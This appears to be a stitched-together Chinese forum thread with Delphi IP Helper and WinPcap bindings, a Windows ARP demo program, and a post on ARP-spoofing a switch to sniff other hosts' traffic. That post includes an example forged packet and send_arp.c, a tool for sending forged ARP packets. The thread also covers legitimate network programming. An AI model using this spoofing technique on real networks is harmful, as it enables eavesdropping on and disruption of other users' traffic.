TMibIpmCastIfTable = MIB_IPMCAST_IF_TABLE;
PMibIpmCastIfTable = PMIB_IPMCAST_IF_TABLE;

// #define SIZEOF_MCAST_IF_TABLE(X) (FIELD_OFFSET(MIB_IPMCAST_IF_TABLE,table[0]) + ((X) * sizeof(MIB_IPMCAST_IF_ENTRY)) + ALIGN_SIZE)

type
PMIB_IPMCAST_BOUNDARY = ^MIB_IPMCAST_BOUNDARY;
{$EXTERNALSYM PMIB_IPMCAST_BOUNDARY}
_MIB_IPMCAST_BOUNDARY = record
dwIfIndex: DWORD;
dwGroupAddress: DWORD;
dwGroupMask: DWORD;
dwStatus: DWORD;
end;
{$EXTERNALSYM _MIB_IPMCAST_BOUNDARY}
MIB_IPMCAST_BOUNDARY = _MIB_IPMCAST_BOUNDARY;
{$EXTERNALSYM MIB_IPMCAST_BOUNDARY}
TMibIpmCastBoundary = MIB_IPMCAST_BOUNDARY;
PMibIpmCastBoundary = PMIB_IPMCAST_BOUNDARY;

PMIB_IPMCAST_BOUNDARY_TABLE = ^MIB_IPMCAST_BOUNDARY_TABLE;
{$EXTERNALSYM PMIB_IPMCAST_BOUNDARY_TABLE}
_MIB_IPMCAST_BOUNDARY_TABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPMCAST_BOUNDARY;
end;
{$EXTERNALSYM _MIB_IPMCAST_BOUNDARY_TABLE}
MIB_IPMCAST_BOUNDARY_TABLE = _MIB_IPMCAST_BOUNDARY_TABLE;
{$EXTERNALSYM MIB_IPMCAST_BOUNDARY_TABLE}
TMibIpmCastBoundaryTable = MIB_IPMCAST_BOUNDARY_TABLE;
PMibIpmCastBoundaryTable = PMIB_IPMCAST_BOUNDARY_TABLE;

// #define SIZEOF_BOUNDARY_TABLE(X) (FIELD_OFFSET(MIB_IPMCAST_BOUNDARY_TABLE,table[0]) + ((X) * sizeof(MIB_IPMCAST_BOUNDARY)) + ALIGN_SIZE)

type
PMIB_BOUNDARYROW = ^MIB_BOUNDARYROW;
{$EXTERNALSYM PMIB_BOUNDARYROW}
MIB_BOUNDARYROW = record
dwGroupAddress: DWORD;
dwGroupMask: DWORD;
end;
{$EXTERNALSYM MIB_BOUNDARYROW}
TMibBoundaryRow = MIB_BOUNDARYROW;
PMibBoundaryRow = PMIB_BOUNDARYROW;

// Structure matching what goes in the registry in a block of type
// IP_MCAST_LIMIT_INFO. This contains the fields of
// MIB_IPMCAST_IF_ENTRY which are configurable.

PMIB_MCAST_LIMIT_ROW = ^MIB_MCAST_LIMIT_ROW;
{$EXTERNALSYM PMIB_MCAST_LIMIT_ROW}
MIB_MCAST_LIMIT_ROW = record
dwTtl: DWORD;
dwRateLimit: DWORD;
end;
{$EXTERNALSYM MIB_MCAST_LIMIT_ROW}
TMibMcastLimitRow = MIB_MCAST_LIMIT_ROW;
PMibMcastLimitRow = PMIB_MCAST_LIMIT_ROW;

const
MAX_SCOPE_NAME_LEN = 255;
{$EXTERNALSYM MAX_SCOPE_NAME_LEN}

//
// Scope names are unicode. SNMP and MZAP use UTF-8 encoding.
//

type
SN_CHAR = WCHAR;
{$EXTERNALSYM SN_CHAR}
SCOPE_NAME_BUFFER = array [0..MAX_SCOPE_NAME_LEN] of SN_CHAR;
{$EXTERNALSYM SCOPE_NAME_BUFFER}
SCOPE_NAME = ^SN_CHAR;
{$EXTERNALSYM SCOPE_NAME}

PMIB_IPMCAST_SCOPE = ^MIB_IPMCAST_SCOPE;
{$EXTERNALSYM PMIB_IPMCAST_SCOPE}
_MIB_IPMCAST_SCOPE = record
dwGroupAddress: DWORD;
dwGroupMask: DWORD;
snNameBuffer: SCOPE_NAME_BUFFER;
dwStatus: DWORD;
end;
{$EXTERNALSYM _MIB_IPMCAST_SCOPE}
MIB_IPMCAST_SCOPE = _MIB_IPMCAST_SCOPE;
{$EXTERNALSYM MIB_IPMCAST_SCOPE}
TMibIpmCastScope = MIB_IPMCAST_SCOPE;
PMibIpmCastScope = PMIB_IPMCAST_SCOPE;

PMIB_IPDESTROW = ^MIB_IPDESTROW;
{$EXTERNALSYM PMIB_IPDESTROW}
_MIB_IPDESTROW = record
ForwardRow: MIB_IPFORWARDROW;
dwForwardPreference: DWORD;
dwForwardViewSet: DWORD;
end;
{$EXTERNALSYM _MIB_IPDESTROW}
MIB_IPDESTROW = _MIB_IPDESTROW;
{$EXTERNALSYM MIB_IPDESTROW}
TMibIpDestRow = MIB_IPDESTROW;
PMibIpDestRow = PMIB_IPDESTROW;

PMIB_IPDESTTABLE = ^MIB_IPDESTTABLE;
{$EXTERNALSYM PMIB_IPDESTTABLE}
_MIB_IPDESTTABLE = record
dwNumEntries: DWORD;
table: array [0..ANY_SIZE - 1] of MIB_IPDESTROW;
end;
{$EXTERNALSYM _MIB_IPDESTTABLE}
MIB_IPDESTTABLE = _MIB_IPDESTTABLE;
{$EXTERNALSYM MIB_IPDESTTABLE}
TMibIpDestTable = MIB_IPDESTTABLE;
PMibIpDestTable = PMIB_IPDESTTABLE;

PMIB_BEST_IF = ^MIB_BEST_IF;
{$EXTERNALSYM PMIB_BEST_IF}
_MIB_BEST_IF = record
dwDestAddr: DWORD;
dwIfIndex: DWORD;
end;
{$EXTERNALSYM _MIB_BEST_IF}
MIB_BEST_IF = _MIB_BEST_IF;
{$EXTERNALSYM MIB_BEST_IF}
TMibBestIf = MIB_BEST_IF;
PMibBestIf = PMIB_BEST_IF;

PMIB_PROXYARP = ^MIB_PROXYARP;
{$EXTERNALSYM PMIB_PROXYARP}
_MIB_PROXYARP = record
dwAddress: DWORD;
dwMask: DWORD;
dwIfIndex: DWORD;
end;
{$EXTERNALSYM _MIB_PROXYARP}
MIB_PROXYARP = _MIB_PROXYARP;
{$EXTERNALSYM MIB_PROXYARP}
TMibProxyArp = MIB_PROXYARP;
PMibProxyArp = PMIB_PROXYARP;

PMIB_IFSTATUS = ^MIB_IFSTATUS;
{$EXTERNALSYM PMIB_IFSTATUS}
_MIB_IFSTATUS = record
dwIfIndex: DWORD;
dwAdminStatus: DWORD;
dwOperationalStatus: DWORD;
bMHbeatActive: BOOL;
bMHbeatAlive: BOOL;
end;
{$EXTERNALSYM _MIB_IFSTATUS}
MIB_IFSTATUS = _MIB_IFSTATUS;
{$EXTERNALSYM MIB_IFSTATUS}
TMibIfStatus = MIB_IFSTATUS;
PMibIfStatus = PMIB_IFSTATUS;

PMIB_ROUTESTATE = ^MIB_ROUTESTATE;
{$EXTERNALSYM PMIB_ROUTESTATE}
_MIB_ROUTESTATE = record
bRoutesSetToStack: BOOL;
end;
{$EXTERNALSYM _MIB_ROUTESTATE}
MIB_ROUTESTATE = _MIB_ROUTESTATE;
{$EXTERNALSYM MIB_ROUTESTATE}
TMibRouteState = MIB_ROUTESTATE;
PMibRouteState = PMIB_ROUTESTATE;

//////////////////////////////////////////////////////////////////////////////
// //
// All the info passed to (SET/CREATE) and from (GET/GETNEXT/GETFIRST) //
// IP Router Manager is encapsulated in the following "discriminated" //
// union. To pass, say MIB_IFROW, use the following code //
// //
// PMIB_OPAQUE_INFO pInfo; //
// PMIB_IFROW pIfRow; //
// DWORD rgdwBuff[(MAX_MIB_OFFSET + sizeof(MIB_IFROW))/sizeof(DWORD) + 1]; //
// //
// pInfo = (PMIB_OPAQUE_INFO)rgdwBuffer; //
// pIfRow = (MIB_IFROW *)(pInfo->rgbyData); //
// //
// This can also be accomplished by using the following macro //
// //
// DEFINE_MIB_BUFFER(pInfo,MIB_IFROW, pIfRow); //
// //
//////////////////////////////////////////////////////////////////////////////

type
PMibOpaqueInfo = ^TMibOpaqueInfo;
_MIB_OPAQUE_INFO = record
dwId: DWORD;
case Integer of
0: (ullAlign: Int64); // ULONGLONG (unsigned!)
1: (rgbyData: array [0..0] of BYTE);
end;
{$EXTERNALSYM _MIB_OPAQUE_INFO}
MIB_OPAQUE_INFO = _MIB_OPAQUE_INFO;
{$EXTERNALSYM MIB_OPAQUE_INFO}
TMibOpaqueInfo = MIB_OPAQUE_INFO;

const
MAX_MIB_OFFSET = 8;
{$EXTERNALSYM MAX_MIB_OFFSET}

// #define MIB_INFO_SIZE(S) (MAX_MIB_OFFSET + sizeof(S))

// #define MIB_INFO_SIZE_IN_DWORDS(S) /
// ((MIB_INFO_SIZE(S))/sizeof(DWORD) + 1)

// #define DEFINE_MIB_BUFFER(X,Y,Z) /
// DWORD __rgdwBuff[MIB_INFO_SIZE_IN_DWORDS(Y)]; /
// PMIB_OPAQUE_INFO X = (PMIB_OPAQUE_INFO)__rgdwBuff; /
// Y * Z = (Y *)(X->rgbyData)

// #define CAST_MIB_INFO(X,Y,Z) Z = (Y)(X->rgbyData)

implementation

end.



------------------------------------------
主程序:arp.dpr


{******************************************************************}
{ }
{ Arp.dpr - IP Helper API Demonstration project }
{ }
{ Portions created by Marcel van Brakel are }
{ Copyright (C) 2000 Marcel van Brakel. }
{ All Rights Reserved. }
{ }
{ The original file is: Arp.dpr, released December 2000. }
{ The initial developer of the Pascal code is Marcel van Brakel }
{ (brakelm@chello.nl). }
{ }
{ Contributor(s): Vladimir Vassiliev (voldemarv@hotpop.com) }
{ John Penman (jcp@craiglockhart.com) }
{ }
{ Obtained through: }
{ Joint Endeavour of Delphi Innovators (Project JEDI) }
{ }
{ You may retrieve the latest version of this file at the Project }
{ JEDI home page, located at http://delphi-jedi.org. }
{ }
{ The contents of this file are used with permission, subject to }
{ the Mozilla Public License Version 1.1 (the "License"); you may }
{ not use this file except in compliance with the License. You may }
{ obtain a copy of the License at }
{ http://www.mozilla.org/NPL/NPL-1_1Final.html }
{ }
{ Software distributed under the License is distributed on an }
{ "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or }
{ implied. See the License for the specific language governing }
{ rights and limitations under the License. }
{ }
{******************************************************************}

program Arp;

{$APPTYPE CONSOLE}

uses
Windows, SysUtils, Winsock,
IpExport, IpHlpApi, IpTypes, IpIfConst, IpRtrMib;

//------------------------------------------------------------------------------

// Convert IP address to dotted decimal

function IpAddrToString(Addr: DWORD): string;
var
inad: in_addr;
begin
inad.s_addr := Addr;
Result := inet_ntoa(inad);
end;

//------------------------------------------------------------------------------

function StringToIpAddr(const Addr: string): DWORD;
begin
Result := inet_addr(PChar(Addr));
end;

//------------------------------------------------------------------------------

// Converts a physical address to a string. Length is the number of entries in
// the PhysAddr array and PhysAddr itself is the array which contains the
// "encoded" physical address

type
TPhysAddrByteArray = array [0..MAXLEN_PHYSADDR - 1] of BYTE;

function PhysAddrToString(Length: DWORD; PhysAddr: TPhysAddrByteArray): string;
var
I: Integer;
begin
Result := '';
if Length = 0 then Exit;
for I := 0 to Length - 1 do
if I = Integer(Length - 1) then
Result := Result + Format('%.2x', [PhysAddr])
else
Result := Result + (Format('%.2x-', [PhysAddr]));
end;

//------------------------------------------------------------------------------

function CharHex(const C: AnsiChar): Byte;
const
AnsiDecDigits = ['0'..'9'];
AnsiHexDigits = ['0'..'9', 'A'..'F', 'a'..'f'];
begin
Result := $FF;
if C in AnsiDecDigits then
Result := Ord(C) - 48
else if C in AnsiHexDigits then
Result := Ord(C) - 55;
end;

procedure StringToPhysAddr(PhysAddrString: string; var PhysAddr: TPhysAddrByteArray);
var
C: Char;
I, V: Integer;
begin
Assert(Length(PhysAddrString) = 17);
Assert(
(PhysAddrString[3] = '-') and
(PhysAddrString[6] = '-') and
(PhysAddrString[9] = '-') and
(PhysAddrString[12] = '-') and
(PhysAddrString[15] = '-'));
PhysAddrString := UpperCase(PhysAddrString);
for I := 0 to 5 do
begin
C := PhysAddrString[I * 3];
V := CharHex(C) shl 4;
C := PhysAddrString[(I * 3) + 1];
V := V + CharHex(C);
PhysAddr := V;
end;
end;

//------------------------------------------------------------------------------

// Returns the IP address table. The caller must free the memory.

function GetIpAddrTableWithAlloc: PMibIpAddrTable;
var
Size: ULONG;
begin
Size := 0;
GetIpAddrTable(nil, Size, True);
Result := AllocMem(Size);
if GetIpAddrTable(Result, Size, True) <> NO_ERROR then
begin
FreeMem(Result);
Result := nil;
end;
end;

//------------------------------------------------------------------------------

// Returns the IP address (dotted decimal string representation) of the interface
// with the specified index. IpAddrTable is used for the lookup and must be
// sorted. If IpAddrTable is nil, the returned string is '<unknown>'

function IntfIndexToIpAddress(IpAddrTable: PMibIpAddrTable; Index: DWORD): string;
var
I: Integer;
begin
if IpAddrTable = nil then
Result := '<unknown>'
else
begin
for I := 0 to IpAddrTable^.dwNumEntries - 1 do
begin
{$R-}
if IpAddrTable^.table.dwIndex = Index then
begin
Result := IpAddrToString(IpAddrTable^.table.dwAddr);
Break;
end;
{$R+}
end;
end;
end;

//------------------------------------------------------------------------------

// Returns a string representing the ARP entry type

function ArpTypeToString(dwType: DWORD): string;
begin
case dwType of
MIB_IPNET_TYPE_OTHER: Result := 'Other';
MIB_IPNET_TYPE_INVALID: Result := 'Invalid';
MIB_IPNET_TYPE_DYNAMIC: Result := 'Dynamic';
MIB_IPNET_TYPE_STATIC: Result := 'Static';
end;
end;

//------------------------------------------------------------------------------

// Displays the ARP table. Filter specifies an IP address for which to display
// ARP entries. If filter is an empty string, all ARP entries are displayed.

procedure DisplayArpTable(const Filter: string);
var
Size: ULONG;
I: Integer;
NetTable: PMibIpNetTable; // ARP table
NetRow: TMibIpNetRow; // ARP entry from ARP table
CurrentIndex: DWORD; // Used for displaying a header in case of multiple interfaces
IpAddrTable: PMibIpAddrTable; // Address table used for interface index to IP address mapping
begin
Size := 0;
GetIpNetTable(nil, Size, True);
NetTable := AllocMem(Size);
try
if GetIpNetTable(NetTable, Size, True) = NO_ERROR then
begin
// Get the IP address table
IpAddrTable := GetIpAddrTableWithAlloc;
try
// Remember the first interface index and display header
CurrentIndex := NetTable^.table[0].dwIndex;
WriteLn(Format('Interface: %s on Interface 0x%u', [IntfIndexToIpAddress(IpAddrTable, CurrentIndex), CurrentIndex]));
WriteLn(' Internet address Physical address Type');
// For each ARP entry
for I := 0 to NetTable^.dwNumEntries - 1 do
begin
{$R-}NetRow := NetTable^.table;{$R+}
if CurrentIndex <> NetRow.dwIndex then
begin
// We're changing interfaces, display a new header
CurrentIndex := NetRow.dwIndex;
WriteLn;
WriteLn(Format('Interface: %s on Interface 0x%u',
[IntfIndexToIpAddress(IpAddrTable, CurrentIndex), CurrentIndex]));
WriteLn(' Internet address Physical address Type');
end;
// Only display the entry if it matches the filter
if (Filter = '') or (Filter = IpAddrToString(NetRow.dwAddr)) then
WriteLn(Format(' %-20s %-20s %s', [
IpAddrToString(NetRow.dwAddr),
PhysAddrToString(NetRow.dwPhysAddrLen, TPhysAddrByteArray(NetRow.bPhysAddr)),
ArpTypeToString(NetRow.dwType)]));
end;
finally
FreeMem(IpAddrTable);
end;
end
else
begin
// Assume failure of GetIpNetTable means there are no ARP entries. This is
// usually the case but it could fail for other reasons.
WriteLn('No ARP entries found.');
end;
finally
FreeMem(NetTable);
end;
end;

//------------------------------------------------------------------------------

// Deletes Host from the ARP table. Host is either an IP address or '*'. In the
// latter case all hosts are deleted from the ARP table. Intf is the internet
// address (IP address) of the interface for which to delete the applicable
// ARP entries. If empty, Host is deleted from each interface ARP table.

function IpAddressToAdapterIndex(const Intf: string): Integer; overload;
var
Adapters, Adapter: PIpAdapterInfo;
Size: ULONG;
IpAddrString: PIpAddrString;
begin
Result := -1;
Size := 0;
if GetAdaptersInfo(nil, Size) <> ERROR_BUFFER_OVERFLOW then Exit;
Adapters := AllocMem(Size);
try
if GetAdaptersInfo(Adapters, Size) = NO_ERROR then
begin
Adapter := Adapters;
while Adapter <> nil do
begin
IpAddrString := @Adapter^.IpAddressList;
while IpAddrString <> nil do
begin
if CompareText(IpAddrString^.IpAddress.S, Intf) = 0 then
begin
Result := Adapter^.Index;
Exit;
end;
IpAddrString := IpAddrString^.Next;
end;
Adapter := Adapter^.Next;
end;
end;
finally
FreeMem(Adapters);
end;
end;

function IpAddressToAdapterIndex(const Intf: DWORD): Integer; overload;
var
Size: ULONG;
AddrTable: PMibIpAddrTable;
AddrRow: TMibIpAddrRow;
I: Integer;
begin
Result := -1;
Size := 0;
if GetIpAddrTable(nil, Size, True) <> ERROR_INSUFFICIENT_BUFFER then Exit;
AddrTable := AllocMem(Size);
try
if GetIpAddrTable(AddrTable, Size, True) = NO_ERROR then
begin
for I := 0 to AddrTable^.dwNumEntries - 1 do
begin
{$R-}AddrRow := AddrTable^.Table;{$R+}
if AddrRow.dwAddr = Intf then
begin
Result := AddrRow.dwIndex;
Break;
end;
end;
end;
finally
FreeMem(AddrTable);
end;
end;

procedure DeleteArpEntry(const Host, Intf: string);
var
Entry: TMibIpNetRow;
HostAddr, IntfAddr: DWORD;
Size: ULONG;
Adapters, Adapter: PIpAdapterInfo;
begin
FillChar(Entry, SizeOf(Entry), 0);

HostAddr := 0; // shuts up the compiler
if Host <> '*' then
begin
HostAddr := inet_addr(PChar(Host));
if HostAddr = DWORD(INADDR_NONE) then Exit;
end;
if Intf <> '' then
begin
IntfAddr := inet_addr(PChar(Intf));
if IntfAddr = DWORD(INADDR_NONE) then Exit;
end;

{ delete address from interface }

if (Host <> '*') and (Intf <> '') then
begin
Entry.dwIndex := IpAddressToAdapterIndex(Intf);
Entry.dwAddr := HostAddr;
if DeleteIpNetEntry(Entry) = NO_ERROR then
WriteLn('Deleted')
else
WriteLn('Failed');
Exit;
end;

{ delete all addresses from an interface }

if (Host = '*') and (Intf <> '') then
begin
FlushIpNetTable(IpAddressToAdapterIndex(Intf));
Exit;
end;


Size := 0;
if GetAdaptersInfo(nil, Size) <> ERROR_BUFFER_OVERFLOW then Exit;
Adapters := AllocMem(Size);
try
if GetAdaptersInfo(Adapters, Size) = NO_ERROR then
begin
Adapter := Adapters;
while Adapter <> nil do
begin

{ delete all addresses from each interface }

if (Host = '*') and (Intf = '') then
begin
FlushIpNetTable(Adapter.Index);
end;

{ delete address from each interface }

if (Host <> '*') and (Intf = '') then
begin
FillChar(Entry, SizeOf(Entry), 0);
Entry.dwIndex := Adapter.Index;
Entry.dwAddr := HostAddr;
DeleteIpNetEntry(Entry);
end;

Adapter := Adapter^.Next;
end;
end;
finally
FreeMem(Adapters);
end;

end;

//------------------------------------------------------------------------------

// Returns the interface index of the first ...

function FirstNetworkAdapter(IpAddrTable: PMibIpAddrTable): Integer;
var
I: Integer;
IfInfo: TMibIfRow;
begin
// TODO this is a "stupid" implementation, can be done much easier by using
// enumerating the interface table directly
Result := -1;
for I := 0 to IpAddrTable^.dwNumEntries - 1 do
begin
{$R-}IfInfo.dwIndex := IpAddrTable^.table.dwIndex;{$R+}
if GetIfEntry(@IfInfo) = NO_ERROR then
begin
if IfInfo.dwType in [MIB_IF_TYPE_ETHERNET, MIB_IF_TYPE_TOKENRING] then
begin
Result := IfInfo.dwIndex;
Break;
end;
end;
end;
end;

//------------------------------------------------------------------------------

// Adds an entry to the ARP table. InetAddr is the IP address to add, EtherAddr
// is the ethernet address to associate with the InetAddr and IntfAddr is the
// index of the adapter to add this ARP entry to. If IntfAddr is an empty string
// the function uses the first network adapter (tokenring or ethernet) it can
// find.

procedure SetArpEntry(const InetAddr, EtherAddr, IntfAddr: string);
var
Entry: TMibIpNetRow;
IpAddrTable: PMibIpAddrTable;
begin
FillChar(Entry, SizeOf(Entry), 0);
Entry.dwAddr := StringToIpAddr(InetAddr);
Assert(Entry.dwAddr <> DWORD(INADDR_NONE));
Entry.dwPhysAddrLen := 6;
StringToPhysAddr(EtherAddr, TPhysAddrByteArray(Entry.bPhysAddr));
Entry.dwType := MIB_IPNET_TYPE_STATIC;
if IntfAddr <> '' then
Entry.dwIndex := StrToInt(IntfAddr)
else
begin
IpAddrTable := GetIpAddrTableWithAlloc;
Assert(IpAddrTable <> nil);
Entry.dwIndex := FirstNetworkAdapter(IpAddrTable);
FreeMem(IpAddrTable);
end;
WriteLn(SysErrorMessage(SetIpNetEntry(Entry)));
end;

//------------------------------------------------------------------------------

// How is this program to be used by the end user?

procedure Usage;
begin
WriteLn('Displays and modifies the IP-to-Physical address translation table used by');
WriteLn('the address resolution protocol (ARP).');
WriteLn;
WriteLn('ARP -s inet_addr eth_addr [if_addr]');
WriteLn('ARP -d inet_addr [if_addr]');
WriteLn('ARP -a inet_addr [-N if_addr]');
WriteLn;
WriteLn(' -a Displays current ARP entries by interrogating the current protocol');
WriteLn(' data. If inet_addr is specified, the IP and physical addresses for');
WriteLn(' only the specified computer are displayed. If more than one network');
WriteLn(' interface uses ARP, entries for each for each ARP table are displayed.');
WriteLn(' -g Same as -a');
WriteLn(' inet_addr Specifies an internet address.');
WriteLn(' -N if_addr Displays the ARP entries for the network interface specified by if_addr.');
WriteLn(' -d Deletes the host specified by inet_addr. inet_addr may be wildcarded');
WriteLn(' with * to delete all hosts.');
WriteLn(' -s Adds the host and associates the internet address inet_addr with the');
WriteLn(' physical address eth_addr. The physical address is given as 6');
WriteLn(' hexadecimal bytes separated by hyphens. The entry is permanent.');
WriteLn(' eth_addr Specifies a physical address.');
WriteLn(' if_addr If present, this specifies the index of the interface whose address');
WriteLn(' translation tables should be modified. If not present the first found');
WriteLn(' applicable interface will be used.');
WriteLn('Example:');
WriteLn(' > arp -s 157.55.85.212 00-aa-00-62-c6-09 .... Adds a static entry');
WriteLn(' > arp -a .... Displays the ARP table');
WriteLn(' > arp -d * .... Flushes the ARP table');
end;

begin

WriteLn('');
WriteLn('Windows 2000 Arp');
WriteLn('Copyright (C) 2000 Marcel van Brakel');
WriteLn('');

if (ParamCount = 0) or FindCmdLineSwitch('?', ['/', '-'], True) then
begin
Usage;
Exit;
end;

// Case statement (in disquise) on the command line switches which dispatches
// to the appropriate subroutine for further processing.

if FindCmdLineSwitch('a', ['/', '-'], True) or FindCmdLineSwitch('g', ['/', '-'], True) then
DisplayArpTable(ParamStr(2))
else if FindCmdLineSwitch('d', ['/', '-'], True) then
DeleteArpEntry(ParamStr(2), ParamStr(3))
else if FindCmdLineSwitch('s', ['/', '-'], True) then
SetArpEntry(ParamStr(2), ParamStr(3), ParamStr(4))
else
Usage;

end.


 
用ARP欺骗交换机,可监听到交换机另一端的机子。
构造如下的数据包。C++源代码
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说,“这样其实就是一个竞争问题。”
好象ARP 以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响,因为他掉了一部分数据。

当然还有其他一些应用,需要其他技术的配合。
以下是send_arp.c的源程序

/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu
*/
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j<number;j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s/n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s/n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}



 
请问:虚构的IP包有什么样的意义呢?
 
请教firstboy:
接收程序有吗?因为你上面写的只是发送,我想了解一下如何接收。(就是如何看到发送的内容“THIS IS A TEST PACKET”)
 
应该怎样接收呢?,请高手赐教[?]
 
winpcap调用的库,不过还是用c来的爽

unit Pcap;

interface

uses
Windows, WinSock, Bpf;

// ----------------------------------------------------------------------------
// Constant Definition
// ----------------------------------------------------------------------------
const
PCAP_VERSION_MAJOR = 2;
PCAP_VERSION_MINOR = 4;
PCAP_ERRBUF_SIZE = 256;
PCAP_IF_LOOPBACK = $00000001; { interface is loopback }
RPCAP_RMTAUTH_NULL = 0;
RPCAP_RMTAUTH_PWD = 1;
PCAP_OPENFLAG_PROMISCUOUS = 1;
PCAP_OPENFLAG_SERVEROPEN_DP = 2;
PCAP_OPENFLAG_UDP_DP = 4;

MODE_CAPT = 0;
MODE_STAT = 1;
MODE_MON = 2;

// ----------------------------------------------------------------------------
// Type Definition
// ----------------------------------------------------------------------------
type
ppcap_t = ^pcap_t;
pcap_t = integer;

pbpf_u_int32 = ^bpf_u_int32;
bpf_u_int32 = integer; // gilgil temp 2003.07.20
long = integer;
u_int = LongWord;
ppchar = ^pchar; // gilgil temp 2003.07.20

ppcap_addr_t = ^pcap_addr_t;
pcap_addr_t = packed record
next: ppcap_addr_t;
addr: PSockAddrIn; { address }
netmask: PSockAddrIn; { netmask for that address }
broadaddr: PSockAddrIn; { broadcast address for that address }
dstaddr: PSockAddrIn; { P2P destination address for that address }
end;

ppcap_if_t = ^pcap_if_t;
pppcap_if_t = ^ppcap_if_t;
pcap_if_t = packed record
next: ppcap_if_t;
name: pchar;
description: pchar;
address : ppcap_addr_t;
flags: bpf_u_int32;
end;

ppkt_header = ^pkt_header;
pkt_header = integer; // gilgil temp 2003.07.20

ppcap_rmtauth = ^pcap_rmtauth;
pcap_rmtauth = packed record
type_: integer;
username: pchar;
password: pchar;
end;

timeval = packed record
tv_sec: long;
tv_usec: long;
end;

ppcap_pkthdr = ^pcap_pkthdr;
pcap_pkthdr = packed record
ts: timeval;
caplen: bpf_u_int32;
len :bpf_u_int32
end;

ppcap_dumper_t = ^pcap_dumper_t;
pcap_dumper_t = integer; // gilgil temp 2003.07.26

pcap_handler = procedure(p: pchar; header: ppkt_header; data: pchar); cdecl;

// ----------------------------------------------------------------------------
// Function Definition
// ----------------------------------------------------------------------------
function pcap_findalldevs(alldevs: pppcap_if_t ; errbuf : pchar): integer; cdecl;
function pcap_findalldevs_ex(source: pchar; auth: ppcap_rmtauth; alldevs: ppcap_if_t; errbuf: pchar): integer; cdecl;
procedure pcap_freealldevs(alldevs: ppcap_if_t); cdecl;
function pcap_open_live(device: pchar; snaplen: integer; promisc: integer; to_ms: integer; ebuf: pchar): ppcap_t; cdecl;
function pcap_open(source: pchar; snaplen: integer; flags: integer; read_timeout: integer; auth: ppcap_rmtauth; errbuf: pchar): ppcap_t; cdecl;
procedure pcap_close(p: ppcap_t); cdecl;
